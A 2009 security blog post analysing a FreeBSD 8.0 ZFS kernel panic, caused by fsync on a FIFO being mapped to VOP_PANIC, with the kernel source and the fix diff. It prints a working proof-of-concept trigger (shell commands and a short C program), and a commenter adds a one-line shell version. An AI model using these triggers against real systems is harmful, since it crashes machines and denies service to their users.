xorl %eax, %eax

FreeBSD ZFS fsync() on FIFO Kernel Panic

with one comment

This is a really funny bug I just saw in freebsd-bugs mailing list. The bug was discovered by Dominik Ernst as you can read in the original report and it affects 8.0-RELEASE and probably earlier releases too. The bug is extremely easy to spot and trigger, let’s have a quick look at cddl/contrib/opensolaris/uts/common/fs/zfs/zfs_vnops.c where some ZFS operations reside…

 struct vop_vector zfs_fifoops = {
         .vop_default =          &fifo_specops,
         .vop_fsync =            VOP_PANIC,
         .vop_access =           zfs_freebsd_access,
         .vop_getattr =          zfs_freebsd_getattr,
         .vop_inactive =         zfs_freebsd_inactive,
         .vop_read =             VOP_PANIC,
         .vop_reclaim =          zfs_freebsd_reclaim,
         .vop_setattr =          zfs_freebsd_setattr,
         .vop_write =            VOP_PANIC,
         .vop_fid =              zfs_freebsd_fid,
 #ifdef notyet
         .vop_getacl =           zfs_freebsd_getacl,
         .vop_setacl =           zfs_freebsd_setacl,
         .vop_aclcheck =         zfs_freebsd_aclcheck,
 #endif
 };

As you can see, in the FIFO operations vector, the fsync operation is initialized with VOP_PANIC. This constant is defined in sys/vnode.h like this:

#define VOP_PANIC       ((void*)(uintptr_t)vop_panic)

Which results in execution of the following code from kern/vfs_default.c

 /*
  * Helper function to panic on some bad VOPs in some filesystems.
  */
 int
 vop_panic(struct vop_generic_args *ap)
 {
 
         panic("filesystem goof: vop_panic[%s]", ap->a_desc->vdesc_name);
 }

Which will of course cause a kernel panic. The fix was of course to update this FIFO operation by adding the equivalent routine to handle the fsync operation.

 struct vop_vector zfs_fifoops = {
         .vop_default =          &fifo_specops,
-        .vop_fsync =            VOP_PANIC,
+        .vop_fsync =            zfs_freebsd_fsync,
         .vop_access =           zfs_freebsd_access,

And the PoC trigger code was also quite simple, it first creates a FIFO on a ZFS filesystem using the following commands:

mkfifo /mnt/zfs/testpipe
tail -f /mnt/zfs/testpipe &

And then simply compiles and executes the program below…

#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>

int main(void) {
char fifo[] = "/mnt/zfs/testpipe";
int fd;

fd = open(fifo, O_WRONLY);
if(fd < 0) {
perror("open");
return 1;
}

write(fd, "asdf\n", sizeof(char)*5);
fsync(fd);

close(fd);


return 0;
}

Which is a simple C program that opens the previously created FIFO and attempts to perform a dummy write operation and then call fsync() to it in order to trigger the execution of the buggy FIFO operation.

Written by xorl

December 5, 2009 at 01:45

Posted in bugs, freebsd

One Response

Subscribe to comments with RSS.

  1. No C is needed, just `mkfifo /mnt/zfs/x;echo x>/mnt/zfs/x&fsync /mnt/zfs/x`

    Hunger

    December 14, 2009 at 18:05


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s